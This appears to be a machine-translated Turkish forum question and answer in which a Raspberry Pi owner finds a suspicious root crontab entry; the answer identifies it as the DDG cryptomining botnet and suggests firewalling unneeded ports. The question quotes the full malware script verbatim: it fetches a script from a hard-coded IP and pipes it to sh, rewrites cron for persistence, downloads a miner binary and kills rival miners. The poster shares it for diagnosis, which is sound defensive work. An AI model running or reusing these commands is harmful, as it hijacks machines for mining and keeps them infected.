Her 15 dakikada bir 'xribfa4' çalışan şüpheli crontab girişi

Raspberry Pi'mdeki kök crontab dosyama bir şey eklemek istedim ve bana şüpheli görünen bir girdi buldum, bunun bir kısmını Google'da aradım.

Crontab girişi:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

İçeriği http://103.219.112.66:8000/i.sh:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Benim Linux bilgim sınırlıdır, ancak bana göre bir Endonezya sunucusundan ikili dosya indirme ve bunları düzenli olarak root olarak çalıştırma normal bir şey değildir.

Bu nedir? Ne yapmalıyım?

Bir DDG madenciliği botnet, nasıl çalıştığını:

1. bir RCE güvenlik açığından yararlanarak
2. crontab'ın değiştirilmesi
3. uygun madencilik programının indirilmesi (go ile yazılmış)
4. madencilik sürecine başlamak

DDG: Veritabanı Sunucularına Yönelik Bir Madencilik Botnet'i

Bir botnet başka bir botnet altyapısını ödünç aldığında SystemdMiner

U&L: Bir AWS EC2 örneğinde madenci kötü amaçlı yazılımı nasıl öldürebilirim? (bozulmuş sunucu)

Hangi TCP ve UDP bağlantı noktalarının gerçekten gerekli olduğunu belirleyin ve ardından yönlendiricinizin güvenlik duvarındaki diğer tüm bağlantı noktalarını engelleyin. Muhtemelen , bu crontab girişleri tekrar görünmeyecek.

Kalkanlar Yukarı'yı kullanarak hangi bağlantı noktalarının açık ve genel olduğunu görebilirsiniz . grc.com'da bir özellik .